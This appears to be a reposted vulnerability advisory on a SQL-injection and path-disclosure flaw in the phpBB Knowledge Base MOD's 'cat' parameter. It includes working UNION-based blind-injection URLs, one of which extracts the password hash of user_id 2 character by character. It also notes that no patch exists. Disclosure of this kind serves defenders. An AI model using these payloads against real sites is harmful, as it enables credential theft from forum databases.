[转载]phpBB注入和目录泄露漏洞

  信息来源：www.security-project.org

Discussion:
The phpbb - Knowledge Base MOD has a relatively hard to exploit SQL-Injection vulnerability.
However, an attacker can exploit this bug and receive informations from
the database.



The Bug:
The script doesn't filter the cat variable.
If we apply something wrong here:

/kb.php?mode=cat&cat='

We will get an error similar to this:

Could not obtain category data
DEBUG MODE
SQL Error : 1064 You have an error in your SQL syntax
SELECT * FROM phpbb_kb_categories WHERE category_id = \'
Line : 131
File : /here/is/the/full/path/functions_kb.php



/kb.php?mode=cat&cat=0+UNION+SELECT+0,0,0,0,0,0+FROM+phpbb_users+WHERE+1=0
No match: Categorie doesn't exist.

/kb.php?mode=cat&cat=0+UNION+SELECT+0,0,0,0,0,0+FROM+phpbb_users
Match: DEBUG MODE - SQL-Error

Therefor the only thing an attacker can find out is whether a row is matched or not.



Exploit:
The attacker may compare the informations in the database with test values. Example:

0+UNION+SELECT+0,0,0,0,0,0+FROM+phpbb_users+WHERE+user_id=2+AND+ascii(substring(user_password,1,1))=97

If it returns an SQL-Error, the first character of the hash is an 'a'.
Exploit available at the websites below.



Patch:
No patch available by now.



Greetz to madinfect, reddi, darkkilla, EaTh, Astovidatu and Doc

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